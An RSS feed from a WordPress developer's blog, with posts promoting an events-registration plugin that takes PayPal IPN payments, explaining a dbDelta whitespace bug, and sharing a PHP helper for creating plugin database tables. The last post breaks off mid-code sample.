<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Shoultes.net</title>
	<atom:link href="http://shoultes.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://shoultes.net</link>
	<description>Seth Shoultes PHP Website</description>
	<lastBuildDate>Sun, 07 Mar 2010 09:09:36 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>Wordpress Events Registration with PayPal IPN</title>
		<link>http://shoultes.net/wordpress-events-registration-with-paypal-ipn/</link>
		<comments>http://shoultes.net/wordpress-events-registration-with-paypal-ipn/#comments</comments>
		<pubDate>Sat, 18 Apr 2009 21:01:21 +0000</pubDate>
		<dc:creator>Seth</dc:creator>
				<category><![CDATA[Authorize.net]]></category>
		<category><![CDATA[Featured Posts]]></category>
		<category><![CDATA[My Plugins]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[PayPal]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[Wordpress Plugins]]></category>
		<category><![CDATA[event]]></category>
		<category><![CDATA[event registration]]></category>

		<guid isPermaLink="false">http://shoultes.net/?p=139</guid>
		<description><![CDATA[This Wordpress plugin provides a way to take online registrations for events such as conference and seminars that are held live. The plugin uses the PayPal IPN to record payments to a database. It allows you to capture the registering persons contact information to the Wordpress database as well as provides the ability to send [...]]]></description>
			<content:encoded><![CDATA[<div class="announcement_post"><div id="attachment_1589" class="wp-caption alignright" style="width: 190px"><a href="http://shoultes.net/wp-content/uploads/2009/04/event-reg-page.gif"><img class="size-medium wp-image-1589  colorbox-139" title="Event Listings and Registration Pages" src="http://shoultes.net/wp-content/uploads/2009/04/event-reg-page-300x235.gif" alt="Event Listings and Registration Pages" width="180" height="141" /></a><p class="wp-caption-text">Event Listings and Registration Pages </p></div>
<p>This Wordpress plugin provides a way to take online registrations for events such as conference and seminars that are held live. The plugin uses the PayPal IPN to record payments to a database. It allows you to capture the registering persons contact information to the Wordpress database as well as provides the ability to send the registrar to your PayPal payment site for online collection of event fees. PayPal payments are captured to the database using the PayPal Standard IPN.</p>
<p>Reporting features provide a list of events, list of attendees, and excel export.</p>
<p><a href="http://wordpress.org/extend/plugins/advanced-events-registration/" target="_blank">Download Plugin</a> | <a title="View Sample of the Events Registration with PayPal IPN" href="http://advancedeventsregistration.com" target="_self">View Example (free version)</a> | <a href="../upgrade-to-pro-version/">Upgrade to Pro Version</a> | <a href="http://wordpress.org/tags/advanced-events-registration" target="_blank">Support Forum</a> | <a href="http://shoultes.net/wordpress-events-registration-with-paypal-ipn/#comment">Comment</a></p>
<form action="https://www.paypal.com/cgi-bin/webscr" method="post">
<input name="cmd" type="hidden" value="_xclick" />
<input name="business" type="hidden" value="seth@smartwebutah.com" />
<input name="item_name" type="hidden" value="Advanced Events Registration Pro" />
<input name="item_number" type="hidden" value="1" />
<input name="amount" type="hidden" value="50.00" />
<input name="no_shipping" type="hidden" value="0" />
<input name="no_note" type="hidden" value="1" />
<input name="currency_code" type="hidden" value="USD" />
<input name="lc" type="hidden" value="US" />
<input name="rm" type="hidden" value="2" />
<input name="return" type="hidden" value="http://www.shoultes.net/thank-you" />
<input name="cancel_return" type="hidden" value="http://www.shoultes.net/" />
<input name="notify_url" type="hidden" value="http://www.shoultes.net/purchase/paypal.php" />
<input title="Download Advanced Events Registration Pro Version" alt="Download Advanced Events Registration Pro Version" name="submit" src="http://shoultes.net/wp-content/uploads/2010/01/download-pro-version.gif" type="image" /> <img src="https://www.paypal.com/en_US/i/scr/pixel.gif" border="0" alt="" width="1" height="1" /><br />
</form>
<p><a id="donate" name="donate"></a>If you like this plugin, please consider making a small donation or clicking on a few of the ads displayed on the site.</p>
<form action="https://www.paypal.com/cgi-bin/webscr" method="post">
<input name="cmd" type="hidden" value="_s-xclick" />
<input name="hosted_button_id" type="hidden" value="4829566" />
<input alt="PayPal - The safer, easier way to pay online!" name="submit" src="https://www.paypal.com/en_US/i/btn/btn_donateCC_LG.gif" type="image" /> <img src="https://www.paypal.com/en_US/i/scr/pixel.gif" border="0" alt="" width="1" height="1" /><br />
</form>
<p><strong>Installation:</strong></p>
<ol>
<li> After unzipping, upload everything in the &#8216;paypal-events-registration&#8217; folder to your &#8216;/wp-content/plugins/&#8217; directory (preserving directory structure).</li>
<li>Activate the plugin through the &#8216;Plugins&#8217; menu in WordPress.</li>
<li>Go to the Event Registration Menu and Configure Organization and enter your company info &#8211; note you will need a PayPal id if you plan on accepting PayPal payments</li>
<li>Go to the Event Setup and create a new event, make sure you select &#8216;make active&#8217;.</li>
<li>Create a new page (not post) on your site. Put {EVENTREGIS} in it on a line by itself.</li>
</ol>
<p>Note: if you are upgradings from a previous version please backup your data prior to upgrade.</p>
<p><strong><span style="color: #ff0000;">If you have watched the video below and are having trouble installing the plugin or just need additional support. Please visit our &#8220;<a href="http://shoultes.net/premium-support-options/">Premium Support</a>&#8221; page or view the FAQ below.</span></strong></p>
<p><strong><br />
Setting up the Plugin</strong><br />
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="560" height="340" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/sXu4Ecmx50A&amp;hl=en_US&amp;fs=1&amp;hd=1" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="560" height="340" src="http://www.youtube.com/v/sXu4Ecmx50A&amp;hl=en_US&amp;fs=1&amp;hd=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p><strong>Frequently Asked Questions:</strong><br />
To use, create a new page with only  {EVENTREGIS}</p>
<p>To display list of attendees of an active event use {EVENTATTENDEES} on a page or post.</p>
<p><span style="color: #ff0000;">*</span>For URL link back to the payment/thank you page use  {EVENTREGPAY} on a new page.</p>
<p><span style="color: #ff0000;">*</span>For PayPal to notify about payment confirmation use  {EVENTPAYPALTXN} on a new page.</p>
<blockquote><p><span style="color: #ff0000;">*</span>This page should be hidden from from your navigation menu. Exclude pages by using the &#8216;<a href="http://wordpress.org/extend/plugins/exclude-pages/" target="_blank">Exclude Pages</a>&#8216; plugin from http://wordpress.org/extend/plugins/exclude-pages/ or using the &#8216;exclude&#8217; parameter in your &#8216;wp_list_pages&#8217; template tag. Please refer to http://codex.wordpress.org/Template_Tags/wp_list_pages for more information about excluding pages.</p></blockquote>
<p><strong>Email Confirmations:</strong><br />
For customized confirmation emails, the following tags can be placed in the email form and they will pull data from the database to include in the email.</p>
<p>[fname], [lname], [phone], [event],[description], [cost], [company], [co_add1], [co_add2], [co_city],[co_state], [co_zip],[contact], [payment_url], [start_date], [start_time], [end_date], [end_time]</p>
<p><strong>Sample Mail Send:</strong></p>
<p>***This is an automated response &#8211; Do Not Reply***</p>
<p>Thank you [fname] [lname] for registering for [event].  We hope that you will find this event both informative and enjoyable.  Should have any questions, please contact [contact].</p>
<p>If you have not done so already, please submit your payment in the amount of [cost].</p>
<p>Click here to review your payment information [payment_url].</p>
<p>Thank You.</p>
<div id="attachment_1579" class="wp-caption alignright" style="width: 190px"><a href="http://shoultes.net/wp-content/uploads/2009/04/attendees-and-payments.gif"><img class="size-medium wp-image-1579  colorbox-139" title="Attendees and Payments" src="http://shoultes.net/wp-content/uploads/2009/04/attendees-and-payments-300x119.gif" alt="Attendees and Payments" width="180" height="71" /></a><p class="wp-caption-text">Attendees and Payments</p></div>
<div id="attachment_1574" class="wp-caption alignleft" style="width: 190px"><a href="http://shoultes.net/wp-content/uploads/2009/04/cal-screen.gif"><img class="size-medium wp-image-1574  colorbox-139" title="Screenshot of Events Registration with IPN Pro" src="http://shoultes.net/wp-content/uploads/2009/04/cal-screen-300x214.gif" alt="Screenshot of Events Registration with IPN Pro" width="180" height="128" /></a><p class="wp-caption-text">Screenshot of Events Registration with IPN Pro using the Calendar (Pro Version)</p></div>
<div id="attachment_1575" class="wp-caption alignright" style="width: 190px"><a href="http://shoultes.net/wp-content/uploads/2009/04/Event-Setup-Options.png"><img class="size-medium wp-image-1575 colorbox-139" title="Event Setup Options" src="http://shoultes.net/wp-content/uploads/2009/04/Event-Setup-Options-300x209.png" alt="Event Setup Options" width="180" height="125" /></a><p class="wp-caption-text">Screenshot of some Event Setup Options (Pro Version)</p></div>
<div id="attachment_1581" class="wp-caption alignleft" style="width: 310px"><a href="http://shoultes.net/wp-content/uploads/2009/04/events-payments.gif"><img class="size-medium wp-image-1581 colorbox-139" title="Events and Payments" src="http://shoultes.net/wp-content/uploads/2009/04/events-payments-300x87.gif" alt="Events and Payments" width="300" height="87" /></a><p class="wp-caption-text">Events and Payments</p></div>
<blockquote style="clear: both;"><p><span style="color: #ff0000;"><strong>Attention:</strong></span><br />
If you haven&#8217;t noticed, the Wordpress plugin &#8220;<a href="http://wordpress.org/extend/plugins/events-registration-with-paypal-ipn" target="_blank">Events Registration with PayPal IPN</a>&#8221; is no longer available for download on Wordpress.org. We found some serious security issues within the plugin (mostly deprecated Wordpress database functions) so we decided it best to go ahead and remove the plugin until security was improved.</p>
<p>After a major overhaul of the back-end code we have re-released the plugin under a new name (<a href="http://wordpress.org/extend/plugins/advanced-events-registration/" target="_blank">Advanced Events Registration</a>) and have also released a <a href="http://shoultes.net/upgrade-to-pro-version/">pro version</a> of the plugin with many additional  features.</p>
<p>It is highly recommended that you upgrade to the latest version of the <a href="http://wordpress.org/extend/plugins/advanced-events-registration/" target="_blank">Advanced Events Registration</a> plugin ASAP.</p></blockquote>
</div>
]]></content:encoded>
			<wfw:commentRss>http://shoultes.net/wordpress-events-registration-with-paypal-ipn/feed/</wfw:commentRss>
		<slash:comments>133</slash:comments>
		</item>
		<item>
		<title>Wordpress dbDelta Function Problems</title>
		<link>http://shoultes.net/wordpress-dbdelta-function-problems/</link>
		<comments>http://shoultes.net/wordpress-dbdelta-function-problems/#comments</comments>
		<pubDate>Sun, 07 Mar 2010 07:43:44 +0000</pubDate>
		<dc:creator>Seth</dc:creator>
				<category><![CDATA[My Plugins]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[PHP Code Samples]]></category>
		<category><![CDATA[Ramblings]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[Wordpress Plugins]]></category>

		<guid isPermaLink="false">http://shoultes.net/?p=1808</guid>
		<description><![CDATA[For a couple of weeks I was trying to figure out why the database tables in my plugin weren&#8217;t getting updated when the plugin was installed or activated. I had recently written a function (based on this example) to create tables in my Wordpress plugin. I finally narrowed it down to the dbDelta function for [...]]]></description>
			<content:encoded><![CDATA[<p>For a couple of weeks I was trying to figure out why the database tables in my <a href="../wordpress-events-registration-with-paypal-ipn/">plugin</a> weren&#8217;t getting updated when the plugin was installed or activated. I had recently written a <a href="http://shoultes.net/function-for-creating-tables-with-wordpress-plugins/">function</a> (based on this <a href="http://codex.wordpress.org/Creating_Tables_with_Plugins" target="_blank">example</a>) to <a href="http://codex.wordpress.org/Creating_Tables_with_Plugins" target="_blank">create tables</a> in my <a href="http://wordpress.org/extend/plugins/advanced-events-registration/" target="_blank">Wordpress plugin</a>. I finally narrowed it down to the dbDelta function for Wordpress. After doing  a few <a href="http://www.google.com/search?q=dbDelta+not+working" target="_blank">searches on Google</a> I came across this <a href="http://hungred.com/how-to/wordpress-dbdelta-function/" target="_blank">article </a>which explains the the dbDelta function in detail.</p>
<p>Come to find out I was missing a space between a &#8216;<span style="color: #ff0000;">&#8220;</span>&#8216; and a &#8216;<span style="color: #ff0000;">(</span>&#8216; as seen below.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$sql_create_table</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;CREATE TABLE &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$wp_table_name</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;( &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$sql</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot; );&quot;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Here is how it should have looked:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$sql_create_table</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;CREATE TABLE &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$wp_table_name</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;  (  &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$sql</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot;  )  ;&quot;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Notice the spaces highlighted in green? That was the killer. So for a while, every time I added a new field to a table in database install file. For a while I was using a function (seen below) to alter the table and add the new fields.</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">function</span> add_column_if_not_exist<span style="color: #009900;">&#40;</span><span style="color: #000088;">$db</span><span style="color: #339933;">,</span> <span style="color: #000088;">$column</span><span style="color: #339933;">,</span> <span style="color: #000088;">$column_attr</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;VARCHAR( 255 ) NULL&quot;</span> <span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$wpdb</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$exists</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">false</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$columns</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$wpdb</span><span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>query<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;show columns from <span style="color: #006699; font-weight: bold;">$db</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">while</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$c</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$wpdb</span><span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>get_row<span style="color: #009900;">&#40;</span><span style="color: #000088;">$columns</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$c</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'Field'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">==</span> <span style="color: #000088;">$column</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #000088;">$exists</span> <span style="color: #339933;">=</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$exists</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$wpdb</span><span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>query<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;ALTER TABLE `<span style="color: #006699; font-weight: bold;">$db</span>` ADD `<span style="color: #006699; font-weight: bold;">$column</span>`  <span style="color: #006699; font-weight: bold;">$column_attr</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
<span style="color: #000088;">$error</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'There was a problem adding columns to the database.'</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #b1b100;">return</span> <span style="color: #000088;">$error</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>So, if you are having trouble with the dbDelta function when writing a Wrodpress plugin. Be aware of extra spaces <img src='http://shoultes.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley colorbox-1808' /> </p>
<p>Here is more information about the dbDelta function and creating tables with plugins:</p>
<p><a href="http://codex.wordpress.org/Creating_Tables_with_Plugins" target="_blank">http://codex.wordpress.org/Creating_Tables_with_Plugins</a></p>
<p><a href="http://wordpress.org/tags/dbdelta-1" target="_blank">http://wordpress.org/tags/dbdelta-1</a></p>
<p><a href="http://hungred.com/how-to/wordpress-dbdelta-function/" target="_blank">http://hungred.com/how-to/wordpress-dbdelta-function/</a></p>
<p><a href="http://designoplasty.com/2009/05/15/not-using-dbdelta-with-wordpress/" target="_blank">http://designoplasty.com/2009/05/15/not-using-dbdelta-with-wordpress/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://shoultes.net/wordpress-dbdelta-function-problems/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Function for Creating Tables with Wordpress Plugins</title>
		<link>http://shoultes.net/function-for-creating-tables-with-wordpress-plugins/</link>
		<comments>http://shoultes.net/function-for-creating-tables-with-wordpress-plugins/#comments</comments>
		<pubDate>Sun, 07 Mar 2010 07:41:23 +0000</pubDate>
		<dc:creator>Seth</dc:creator>
				<category><![CDATA[My Plugins]]></category>
		<category><![CDATA[MySQL]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[PHP Code Samples]]></category>
		<category><![CDATA[PHP Developer News]]></category>
		<category><![CDATA[PHP Everywhere]]></category>
		<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[Wordpress Plugins]]></category>
		<category><![CDATA[database]]></category>
		<category><![CDATA[dbDelta]]></category>
		<category><![CDATA[installing tables]]></category>
		<category><![CDATA[Plugin]]></category>
		<category><![CDATA[upgrade]]></category>

		<guid isPermaLink="false">http://shoultes.net/?p=1807</guid>
		<description><![CDATA[Here is a very useful function I have written to install/update the database tables in your custom Wordpress plugin. Basically I have used the examples given on the &#8220;Creating Tables with Plugins&#8221; page at Wordpress.org.
In your main plugin file (ex. my_plugin.php) I define my plugin version:

define&#40;&#34;MY_PLUGIN_VERSION&#34;, &#34;2.16&#34; &#41;; //Declare the plugin version. This way we [...]]]></description>
			<content:encoded><![CDATA[<p>Here is a very useful function I have written to install/update the database tables in your custom Wordpress plugin. Basically I have used the <a href="http://codex.wordpress.org/Creating_Tables_with_Plugins">examples</a> given on the &#8220;<a href="http://codex.wordpress.org/Creating_Tables_with_Plugins">Creating Tables with Plugins</a>&#8221; page at <a href="http://wordpress.org/">Wordpress.org</a>.</p>
<p>In your main plugin file (ex. my_plugin.php) I define my plugin version:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #990000;">define</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;MY_PLUGIN_VERSION&quot;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;2.16&quot;</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//Declare the plugin version. This way we know the tables are always up to date. I usually declare this in my main plugin file.</span>
<span style="color: #b1b100;">require_once</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;includes/functions.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">require_once</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;includes/database_install.php&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
register_activation_hook<span style="color: #009900;">&#40;</span><span style="color: #009900; font-weight: bold;">__FILE__</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'my_plugin_data_tables_install'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></pre></div></div>

<p>Then in my functions.php file:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">function</span> my_plugin_run_install <span style="color: #009900;">&#40;</span><span style="color: #000088;">$table_name</span><span style="color: #339933;">,</span> <span style="color: #000088;">$table_version</span><span style="color: #339933;">,</span> <span style="color: #000088;">$sql</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		   <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$wpdb</span><span style="color: #339933;">;</span>
		   <span style="color: #000088;">$wp_table_name</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$wpdb</span><span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>prefix <span style="color: #339933;">.</span> <span style="color: #000088;">$table_name</span><span style="color: #339933;">;</span>
		   <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$wpdb</span><span style="color: #339933;">-&amp;</span>gt<span style="color: #339933;">;</span>get_var<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;SHOW TABLES LIKE '&quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$table_name</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;'&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">!=</span> <span style="color: #000088;">$table_name</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #000088;">$sql_create_table</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;CREATE TABLE &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$wp_table_name</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot; ( &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$sql</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot; ) ;&quot;</span><span style="color: #339933;">;</span>
				<span style="color: #b1b100;">require_once</span><span style="color: #009900;">&#40;</span>ABSPATH <span style="color: #339933;">.</span> <span style="color: #0000ff;">'wp-admin/includes/upgrade.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				dbDelta<span style="color: #009900;">&#40;</span><span style="color: #000088;">$sql_create_table</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
			<span style="color: #666666; font-style: italic;">//create option for table version</span>
				<span style="color: #000088;">$option_name</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$table_name</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'_tbl_version'</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$newvalue</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$table_version</span><span style="color: #339933;">;</span>
				  <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> get_option<span style="color: #009900;">&#40;</span><span style="color: #000088;">$option_name</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
					    update_option<span style="color: #009900;">&#40;</span><span style="color: #000088;">$option_name</span><span style="color: #339933;">,</span> <span style="color: #000088;">$newvalue</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
					  <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
					    <span style="color: #000088;">$deprecated</span><span style="color: #339933;">=</span><span style="color: #0000ff;">' '</span><span style="color: #339933;">;</span>
					    <span style="color: #000088;">$autoload</span><span style="color: #339933;">=</span><span style="color: #0000ff;">'no'</span><span style="color: #339933;">;</span>
					    add_option<span style="color: #009900;">&#40;</span><span style="color: #000088;">$option_name</span><span style="color: #339933;">,</span> <span style="color: #000088;">$newvalue</span><span style="color: #339933;">,</span> <span style="color: #000088;">$deprecated</span><span style="color: #339933;">,</span> <span style="color: #000088;">$autoload</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				  <span style="color: #009900;">&#125;</span>
			<span style="color: #666666; font-style: italic;">//create option for table name</span>
				<span style="color: #000088;">$option_name</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$table_name</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'_tbl'</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$newvalue</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$wp_table_name</span><span style="color: #339933;">;</span>
				  <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> get_option<span style="color: #009900;">&#40;</span><span style="color: #000088;">$option_name</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
					    update_option<span style="color: #009900;">&#40;</span><span style="color: #000088;">$option_name</span><span style="color: #339933;">,</span> <span style="color: #000088;">$newvalue</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
					  <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
					    <span style="color: #000088;">$deprecated</span><span style="color: #339933;">=</span><span style="color: #0000ff;">' '</span><span style="color: #339933;">;</span>
					    <span style="color: #000088;">$autoload</span><span style="color: #339933;">=</span><span style="color: #0000ff;">'no'</span><span style="color: #339933;">;</span>
					    add_option<span style="color: #009900;">&#40;</span><span style="color: #000088;">$option_name</span><span style="color: #339933;">,</span> <span style="color: #000088;">$newvalue</span><span style="color: #339933;">,</span> <span style="color: #000088;">$deprecated</span><span style="color: #339933;">,</span> <span style="color: #000088;">$autoload</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				  <span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
&nbsp;
	<span style="color: #666666; font-style: italic;">// Code here with new database upgrade info/table Must change version number to work.</span>
	<span style="color: #000088;">$installed_ver</span> <span style="color: #339933;">=</span> get_option<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$table_name</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'_tbl_version'</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	     <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$installed_ver</span> <span style="color: #339933;">!=</span> <span style="color: #000088;">$table_version</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		  <span style="color: #000088;">$sql_create_table</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;CREATE TABLE &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$wp_table_name</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot; ( &quot;</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$sql</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">&quot; ) ;&quot;</span><span style="color: #339933;">;</span>
	      <span style="color: #b1b100;">require_once</span><span style="color: #009900;">&#40;</span>ABSPATH <span style="color: #339933;">.</span> <span style="color: #0000ff;">'wp-admin/includes/upgrade.php'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	      dbDelta<span style="color: #009900;">&#40;</span><span style="color: #000088;">$sql_create_table</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	      update_option<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$table_name</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'_tbl_version'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$table_version</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	      <span style="color: #009900;">&#125;</span>
	    <span style="color: #009900;">&#125;</span></pre></div></div>

<p>Using the function is quite simple and can save a few lines of code. especially if you need to install several new tables.</p>
<p>Here is an example of database_install.php:</p>

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">function</span> my_plugin_data_tables_install <span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
<span style="color: #000088;">$table_version</span> <span style="color: #339933;">=</span> MY_PLUGIN_VERSION<span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">//Call the plugin version.</span>
<span style="color: #666666; font-style: italic;">//Install the first table</span>
<span style="color: #000088;">$table_name</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;my_first_plugin_tbl&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$sql</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;id mediumint(9) NOT NULL AUTO_INCREMENT,
	  time bigint(11) DEFAULT '0' NOT NULL,
	  name tinytext NOT NULL,
	  text text NOT NULL,
	  url VARCHAR(100) NOT NULL,
	  UNIQUE KEY id (id)&quot;</span><span style="color: #339933;">;</span>
my_plugin_run_install  <span style="color: #009900;">&#40;</span><span style="color: #000088;">$table_name</span><span style="color: #339933;">,</span> <span style="color: #000088;">$table_version</span><span style="color: #339933;">,</span> <span style="color: #000088;">$sql</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;">//Install the second table</span>
<span style="color: #000088;">$table_name</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;my_second_plugin_tbl&quot;</span><span style="color: #339933;">;</span>
